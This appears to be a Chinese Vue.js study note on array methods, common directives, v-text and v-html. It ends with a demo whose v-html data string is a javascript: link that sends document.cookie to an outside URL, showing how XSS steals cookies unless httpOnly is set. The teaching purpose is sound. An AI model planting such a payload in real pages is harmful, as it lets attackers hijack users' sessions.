Vue中v-html用法以及指令汇总

操作数组的方法 ：

push：数组最后位置新增元素

pop：  删除最后一个元素

shift：  删除第一个元素

unshift：往前面加一个元素

splice：在数组的指定位置插入、删除、替换一个元素

sort：    数组排序

reverse：反转数组

我们学过的指令：

    v-bind  : 单向绑定解析表达式，可简写为 :XXX
    v-model : 双向数据绑定
    v-for   : 遍历数组/对象/字符串
    v-on    : 绑定事件监听，可简写为@
    v-if    : 条件渲染（动态控制节点是否存在）
    v-else  : 条件渲染（动态控制节点是否存在）
    v-show  : 条件渲染（动态控制节点是否展示)
v-text指令：
    1.作用：向其所在的节点中渲染文本内容
    2.与插值语法的

区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<div id="root">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
    </div>
</body>
    <script>
        new Vue({
            el:'#root',
            data:{
                name:'木木',
                // str:'<a href=javascript:alert(1)>这里有资源，速来！</a>',
                str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>这里有资源，速来！</a>',

            }
        })
    </script>

 

 点击连接之后：跳转到我们指定的网址，并且将cookie偷了过来，注意：httpOnly设置了，就拿不到了。